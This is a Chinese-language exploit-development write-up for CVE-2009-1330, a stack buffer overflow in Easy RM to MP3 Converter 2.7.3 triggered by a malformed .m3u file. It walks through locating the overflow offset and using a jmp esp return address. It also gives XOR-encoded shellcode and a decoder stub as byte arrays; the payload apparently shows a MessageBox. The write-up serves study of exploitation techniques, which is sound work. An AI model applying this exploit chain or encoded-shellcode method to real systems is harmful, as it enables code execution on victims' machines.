軟件名稱:Easy RM to MP3 Converter
軟件版本:2.7.3
漏洞模塊:PM2MP3Converter.exe
操作系統:Windows 7\sp1\x86
漏洞編號:CVE-2009-1330
危害等級:中危
漏洞類型:緩衝區溢出
威脅類型:本地
1. 軟件介紹
Easy RM to MP3 Converter爲05-06年流行的支持常用音頻格式文件MP3, WMA, WAV, OGG等之間的轉換,軟件界面如圖1所示:
圖1軟件界面說明圖
2. 漏洞成因
Easy RM to MP3 Converter(version 2。7。3。700) 加載畸形過長的。m3u文件時觸發緩衝區溢出。
3. 利用過程
3.1 製造緩衝區溢出
新建文件後置名爲.m3u(1.m3u)Application打開===》RM2MP3Converter.exe打開這個
然後在Application中新建一個新建文本文檔.m3u(因爲CVE有這個漏洞所以要建立一個後綴名爲.m3u),溢出的漏洞(1.3u)的大小:一般是30k--50k的大小f否則會出現以下圖片包括30到50,大小如圖2所示:
圖2大小說明圖
如果超過30-50k大小後,還沒溢出那是空格(0E)、回車(0D)、換行(0A)問題,要用010edi修改 ctrl+a是010edit的替換,替換如圖3所示:
圖3替換說明圖
出來異常的65656565,異常1如圖4所示:
圖4異常1說明圖
A0A1A2A3A4A5A6A7A8A9B0B1B2B3B4B5B6B7B8B9C0C1C2C3C4C5C6C7D0D1D2D3D4D5D6D7DD9E0E1E2E3E4E5E6E7E8E9F0F1F2F3F4F5F6F7F8F9G0G1G2G3G4G5G6G7G8G9H0H1H2H3H4H5H6H7H8H9不斷重複異常步驟,直到找到異常點,用這個來替換注意不能多出字節來異常結果如圖5所示:
圖5異常結果說明圖
3.2 Jmp esp地址
jmp esp找到地址裏面不能有00,搜索所有模塊esp,jmp esp :70d0f0f1,esp如圖6所示:
圖6 esp說明圖
3.3 處理加密shellcode
vs 寫一個加密過的shellcode,加密如圖7所示:
圖7加密說明圖
od中加密後代碼,od加密如圖8所示:
圖8od加密說明圖
/* Encode Key=0x07 */
char bShellcode[] = \
"\x67\x84\xEB\x27\xEC\x4A\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \
"\x75\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E" \
"\x42\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A" \
"\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57" \
"\x75\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x36\x32\x57" \
"\x45\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07" \
"\x8C\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x13\x07" \
"\x07\x07\x8C\xF7\x55\x8A\x4C\xBA\x56\x55\xF8\xD7\x5D\x54\x51\x57" \
"\x55\xEF\x69\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F" \
"\x8C\x75\x3B\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A" \
"\x3B\x3D\x8E\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79" \
"\x23\x8A\x3B\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C" \
"\x33\x81\x8C\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA9\xBE\x09" \
"\x07\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B" \
"\x41\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2" \
"\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB" \
"\x6D\x07\x6D\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17" \
"\x8E\x42\xFB\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF" \
"\x8A\x4C\xE8\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52" \
"\xFF\x8C\xE2\x5A\xC5\x17\x07";
3.3 解密代碼
解密代碼,用od摳出來,解密如圖9所示:
圖9od解密說明圖
char bshell1[]=\
{
0x33, 0xc0,
0xe8, 0xff, 0xff, 0xff, 0xff,
0xc3,
0x58,
0x8d, 0x70, 0x1b,
0x33, 0xc9,
0x66, 0xb9, 0x11, 0x03,
0x8a, 0x04, 0x0e,
0x34, 0x02,
0x88, 0x04, 0x0e,
0xe2, 0xf6,
0x80, 0x34, 0x0e, 0x07,
0xff, 0xe6};
3.4 結果
用010edit寫,第一個是jmp esp地址,4個90是跳板(可能存在少了一個字節),解密shellcode,加密shelloce(要把DE改爲90與7異或==97),edit如圖10所示:
圖10edit說明圖
運行結果,彈出個MessageBox圖片,結果如圖11所示:
圖11結果說明圖
4. 結語
要先準備一段加密的shellcode,解密shellcode,都要用vs編寫,用od摳出來,注意加密解密祕鑰要相同,shellcode的大小要一樣,找溢出點通過sublime_text這個工具切一半再精確,sublime_text這個要和虛擬機版本一樣,顏色深度代表裏面輸入的字符串不同。
5. 參考資料
[1] 《高端調試》張銀奎 著
[2] 《0day安全:軟件漏洞分析技術(第2版)》 王清 著